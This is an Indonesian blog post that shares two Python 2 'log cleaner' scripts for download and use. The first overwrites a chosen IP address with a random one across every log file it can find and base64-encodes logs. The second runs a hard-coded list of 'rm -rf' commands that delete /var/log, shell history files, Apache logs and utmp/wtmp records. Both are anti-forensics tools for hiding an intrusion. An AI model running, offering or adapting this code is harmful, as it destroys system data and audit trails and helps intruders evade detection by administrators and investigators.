Source Code Python Log Cleaner

Pengertian bahasa pemrograman python adalah bahasa pemrograman tinggi yang dapat melakukan eksekusi sejumlah intruksi multiguna secara langsung (interpretatif) dengan metode orientasi objek (Object Oriented Programming) serta menggunakan semantik dinamis untuk memberikan tingkat keterbacaan syntax. Sebagai bahasa pemrograman tinggi, python dapat dipelajari dengan mudah karena sudah dilengkapi dengan manajemen memori otomatis (pointer)

Di artikel ini saya akan membagi source code python log cleaner ..
fungsi nya apa min?
" Fungsinya adalah anda bisa menghilankan sejenak dari log yang tersimpan".

Berikut Source Codenya

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1. #!/usr/bin/python
2. #PyLogcleaner uses the list given (logfiles) containing
3. # 274 logfiles and uses the linux find
4. #cmd to try and locate more logfiles to search
5. #for an ip address to replace with a random generated
6. #one. It can also encrypt/d3crypt a
7. #logfile and also can watch a logfile for modifications.
10. import os, sys, time, pwd, getopt, re, random,StringIO, commands
12. def title():
13.     print "\n   PyLogCleaner v1.0"
14.     print "-----------------------------------------------"
16. def usage():
17.     title()
18.     print "\n  Usage: python logcleaner.py <option>\n"
19.     print "\t[options]"
20.     print "\t   -i <ip>: Ip to search for and replace"
21.     print "\t   -e <file>: Encrypts logfile"
22.     print "\t   -d <file>: Decrypts logfile"
23.     print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"
24.     print "\t   -h/-help: Prints this menu\n"
26. def timer():
27.     now = time.localtime(time.time())
28.     return time.asctime(now)
30. def validater(logs):
31.    
32.     activeLogs = []
34.     print "[+] Validating:",len(logs),"logfiles\n"
35.     for l in logs:
36.         if os.path.isfile(l) == True:
37.             activeLogs.append(l)
38.     if len(activeLogs)>0:
39.         print "[+] Active Logs Found:",len(activeLogs)
40.         return activeLogs
41.     else:
42.         print "[-] No Active Logs Found"
43.         sys.exit(1)
44.        
45. def search(logfiles):
46.    
47.     print "\n[+] Searching:",ip,"\n"
48.     import mmap
49.    
50.     for file in logfiles:
51.         try:
52.             f = open(file, "rb+")
53.             size = os.path.getsize(file)
54.             if size >= 1:
55.                 data = mmap.mmap(f.fileno(), size)
56.                 loc = data.find(ip)
57.                 #Lets not search a file with no data.
58.                 if loc == -1:
59.                     #print "[+] File:",file,"|",size,"bytes"
60.                     #print "\t[-] IP not found"
61.                     data.close()
62.                 else:
63.                     print "-"*45
64.                     print "[+] File:",file,"|",size,"bytes"
65.                     print "\t[+] IP found"
66.                     data.seek(loc)
67.                     data.write(randip)
68.                     print "[+] Replaced: ",ip,">>",randip
69.                     print "[+] New_Size:",os.path.getsize(file),"bytes"
70.                     print "-"*45
71.                     data.close()
72.         except(IOError), msg:
73.             pass
74.     print "\n[+] Done:",timer(),"\n"
75.                    
76. def findlogs():
77.     os.chdir("/")
78.    
79.     print "[+] Finding More Logfiles..."
80.     #Lets use the linux find cmd to fing more files containing log...
81.     logz =StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()
82.     if len(logz)>0:
83.         print "[+] Found:",len(logz),"extra logfiles"
84.         for log in logz:
85.             if re.search("Permission denied",log) ==None:
86.                 logs.append(log[:-1])
87.     return logs
88.    
89. def randip():
90.    
91.     A = random.randrange(255) + 1
92.     B = random.randrange(255) + 1
93.     C = random.randrange(255) + 1
94.     D = random.randrange(255) + 1
95.     randip = "%d.%d.%d.%d" % (A,B,C,D)
96.     return randip
98. def gettime():
99.     clock =time.asctime(time.localtime(os.path.getmtime(logfile)))
100.     return clock
101. def getsize():
102.     size = os.path.getsize(logfile)
103.     return size
105. def modlast(logfile):
106.     try:
107.         sys.argv[3]
108.     except(IndexError):
109.         print "\n[-] Need a time in seconds (ex: 60)\n"
110.         sys.exit(1)
111.        
112.     print "[+] Analyzing:",logfile
113.     print "[+] Time:",sys.argv[3],"secs"
114.     print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]
115.     print "[+] Size:",getsize(),"bytes"
116.     print "[+] Last Modified:",gettime()
117.     print "[+] Starting:",timer()
119.     old_time = gettime()
120.     while True:
121.         time.sleep(int(sys.argv[3]))
122.         new_time = gettime()
123.         if new_time != old_time:
124.             print "\n[+] File Modified:",new_time
125.             print "[+] New Size:",getsize(),"bytes\n"
126.             old_time = new_time
127.    
128. def encrypter(file):
129.     import base64
130.     print "\n[+] Encrypting:",file
131.     print "[+] Size:",os.path.getsize(file),"bytes"
132.     try:
133.         log2encode = open(file, "r").read()
134.     except(IOError):
135.         print "Error: Check your full path.\n"
136.         sys.exit(1)
137.     log2encode = base64.b64encode(log2encode)
138.     os.remove(file)
139.     time.sleep(2)
140.     f = open(file, "a")
141.     f.write(log2encode)
142.     f.close()
143.     print "[+] NewSize:",os.path.getsize(file),"bytes"
144.     print "[+] Done\n"
146. def d3crypter(file):
147.     import base64
148.     print "\n[+] Decrypting:",file
149.     print "[+] Size:",os.path.getsize(file),"bytes"
150.     try:
151.         b2log = open(file, "r").read()
152.     except(IOError):
153.         print "Error: Check your full path.\n"
154.         sys.exit(1)
155.     b2log = base64.b64decode(b2log)
156.     os.remove(file)
157.     time.sleep(2)
158.     f = open(file, "a")
159.     f.write(b2log)
160.     f.close()
161.     print "[+] NewSize:",os.path.getsize(file),"bytes"
162.     print "[+] Done\n"
164. if len(sys.argv) <= 1:
165.     usage()
166.     sys.exit(1)
167. if len(sys.argv) == 2:
168.     usage()
169.     sys.exit(1)
171. if sys.argv[1] == "-w" or sys.argv[1] == "-watch":
172.     logfile = sys.argv[2]
173.     if os.path.isfile(logfile) == False:
174.         title()
175.         print "\n[-] Cannot Open File, Check Full Path!!!\n"
176.         sys.exit(1)
177.     else:
178.         title()
179.         modlast(logfile)
180. if sys.argv[1] == "-i":
181.     ip = sys.argv[2]       
182.     try:
183.         logs = open("logfiles", "r").readlines()
184.     except(IOError):
185.         print "Error: logfiles missing\n"
186.         sys.exit(1)
187.     title()
188.     print "\n[+] Starting:",timer()
189.     print "[+] Loaded:",len(logs),"logs"
190.     findlogs()
191.     randip = randip()
192.     print "[+] Generate Random IP:",randip
193.     search(validater(logs))
194. if sys.argv[1] == "-e":
195.     file = sys.argv[2]
196.     title()
197.     encrypter(file)
198. if sys.argv[1] == "-d":
199.     file = sys.argv[2]
200.     title()
201.     d3crypter(file)

Download source codenya Disini

Anda juga bisa menggunakan Dari Voodork YCL 
Berikut source codenya 

1. #!/usr/bin/env python
3. import threading
4. import os
5. from time import sleep, ctime
7. print'''
8.      _     _  ___    _
9.     ( )   ( )(  _`\ ( )
10.     ``\_/'/'| ( (_)| |
11.       `\ /'  | |  _ | |  _
12.        | |   | (_( )| |_( )
13.        (_)   (____/'(____/'og cleaner
15.               Kinds Regard
16.                         ./VodOrkYCL.py
17.    '''
18. lt = ctime()
19. print '[+] Starting log cleaner at %s\n\n' %(lt)
20. sleep(5)
22. class output_command(threading.Thread):
23.     def __init__(self, command):
24.         threading.Thread.__init__(self)
25.         self.command = command
26.     def run(self):
27.         os.system(self.command)
28.         print "[+]log was finish to clean......\n"
30. class input_command:
31.     def __init__(self):
32.                 clear_add = ["rm -rf /tmp/logs","rm -rf $HISTFILE","rm -rf /root/.ksh_history","rm -rf /root/.bash_history","rm -rf /root/.bash_logout","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/log","rm -rf /var/apache/logs","rm -rf /var/apache/log","rm -rf /var/run/utmp","rm -rf /var/logs","rm -rf /var/log","rm -rf /var/adm","rm -rf /etc/wtmp","rm -rf /etc/utmp"]
33.                 for listt in clear_add:
34.                     try:
35.                       i=output_command(listt)
36.                       i.start()
37.                     except:
38.                       pass
40. if __name__ == "__main__":
41.        objCaller = input_command()